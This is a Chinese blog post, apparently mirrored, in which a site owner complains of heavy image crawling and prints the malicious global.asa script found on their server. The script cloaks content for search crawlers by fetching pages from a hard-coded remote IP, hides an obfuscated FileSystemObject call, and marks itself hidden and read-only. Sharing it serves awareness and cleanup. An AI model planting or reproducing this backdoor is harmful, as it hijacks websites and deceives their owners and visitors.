zoukankan      html  css  js  c++  java
  • 这个网站病毒挺有意思,下载我网站的图片,我说怎么爬虫爬我几十个G的图片

    这个网站病毒挺有意思,下载我网站的图片,我说怎么爬虫爬我几十个G的图片

    global.asa

    server.Scripttimeout=3600
    dim ua,Remote_server,host_name,Remote_file,Content_mb
    On Error Resume Next
    ua=Request.ServerVariables("HTTP_USER_AGENT")
    If Err.Number <> 0 Then
    Err.Clear
    End If
    Remote_server="http://45.117.102.38"
    host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name")
    Remote_file = Remote_server&"/index.php"&"?host="&host_name

    if(instr(ua,"360Spider")>0 or instr(ua,"HaosouSpider")>0 or instr(ua,"baidu")>0)then
    Content_mb=GetHtml(Remote_file)
    response.write Content_mb
    end if

    Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
    set f=fso.Getfile(Server.MapPath("global.asa"))
    if f.attributes <> 7 then
    f.attributes = 7
    end if

    Function GetHtml(url)
    On Error Resume Next
    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    ObjXMLHTTP.Open "GET",url,False
    ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"
    ObjXMLHTTP.send
    GetHtml=ObjXMLHTTP.responseBody
    Set ObjXMLHTTP=Nothing
    set objStream = Server.CreateObject("Adodb.Stream")
    objStream.Type = 1
    objStream.Mode =3
    objStream.Open
    objStream.Write GetHtml
    objStream.Position = 0
    objStream.Type = 2
    objStream.Charset = "gb2312"
    GetHtml = objStream.ReadText
    objStream.Close
    If Err.Number <> 0 Then
    Err.Clear
    End If
    End Function

  • 相关阅读:
    dotnet 网络编程 tcp
    sql_index 索引测试
    精美诗文
    mssql常用语句,平时用来学习sql的
    dotnet 线程同步
    DotNet 序列化
    2、董事长千金诱拐事件
    十三、动态创建元素
    1、云霄飞车杀人事件
    十二、内容过滤器,可见性过滤器,属性过滤器,子元素过滤器,表单类别过滤器,表单属性过滤器
  • 原文地址:https://www.cnblogs.com/michael703/p/13065908.html
Copyright © 2011-2022 走看看